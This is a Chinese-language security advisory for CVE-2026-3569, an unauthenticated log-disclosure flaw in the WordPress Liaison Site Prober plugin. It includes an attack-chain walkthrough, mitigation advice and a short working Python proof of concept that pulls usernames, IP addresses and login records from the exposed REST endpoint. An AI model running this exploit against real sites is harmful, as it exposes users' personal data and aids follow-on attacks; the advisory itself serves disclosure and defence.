CVE-2026-3569 CVSS 5.3 中危

CVE-2026-3569: WordPress Liaison Site Prober信息泄露漏洞

披露日期: 2026-04-24

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-3569

漏洞类型

信息泄露

CVSS评分

5.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

WordPress Liaison Site Prober Plugin

漏洞概述

WordPress Liaison Site Prober插件在所有版本（包括1.2.1）中存在信息泄露漏洞。该漏洞源于REST API端点`/wp-json/site-prober/v1/logs`的权限验证机制失效，回调函数无条件放行请求。未经身份认证的攻击者无需用户交互即可利用此缺陷，远程获取站点敏感的审计日志数据，包括用户ID、用户名、IP地址及详细的登录活动记录，对站点安全构成严重威胁。

技术细节

该漏洞的根本原因在于插件在注册和监听REST API端点时，存在严重的权限配置错误。具体而言，在处理`/wp-json/site-prober/v1/logs`端点的请求时，开发者错误地将权限回调函数`permissions_read`指定为WordPress的`__return_true()`函数。这一逻辑缺陷导致系统在处理请求时，完全跳过了对当前用户身份的验证以及是否具备查看日志能力的检查。攻击者无需拥有任何有效凭证，也无需诱导管理员进行交互，仅需构造一个简单的HTTP GET请求发送至目标站点，即可触发漏洞。成功利用后，服务器将以JSON格式返回站点的审计日志，其中包含用户ID、用户名、IP地址、登录状态及失败尝试等高敏感数据。这些信息的泄露不仅暴露了用户隐私，更为攻击者实施后续的定向攻击（如撞库或钓鱼）提供了关键数据支撑。

攻击链分析

STEP 1

1. 侦察探测

攻击者通过指纹识别或扫描发现目标站点安装了Liaison Site Prober插件。

STEP 2

2. 发送恶意请求

攻击者构造针对`/wp-json/site-prober/v1/logs`端点的HTTP GET请求，无需携带Cookie或认证头。

STEP 3

3. 权限绕过

服务器接收到请求后，由于权限回调函数返回True，直接放行了未认证的请求。

STEP 4

4. 数据获取

服务器返回包含用户ID、用户名、IP、登录记录等敏感信息的JSON数据，攻击者保存并解析数据。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Usage: python poc.py <target_url>
# Example: python poc.py http://example.com

def exploit(target):
    # The vulnerable endpoint
    url = f"{target.rstrip('/')}/wp-json/site-prober/v1/logs"
    
    try:
        # Send unauthenticated GET request
        response = requests.get(url, timeout=10)
        
        if response.status_code == 200:
            print(f"[+] Success! Data leaked from {target}:")
            print(response.text)
        else:
            print(f"[-] Failed with status code: {response.status_code}")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    import sys
    if len(sys.argv) < 2:
        print("Usage: python3 poc.py <target_url>")
    else:
        exploit(sys.argv[1])

影响范围

Liaison Site Prober <= 1.2.1

防御指南

临时缓解措施

建议立即将Liaison Site Prober插件升级至最新版本以修复此漏洞。若无法立即更新，应在WAF或服务器配置中添加规则，阻断对`/wp-json/site-prober/v1/logs`路径的外部访问请求，或暂时禁用插件功能。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表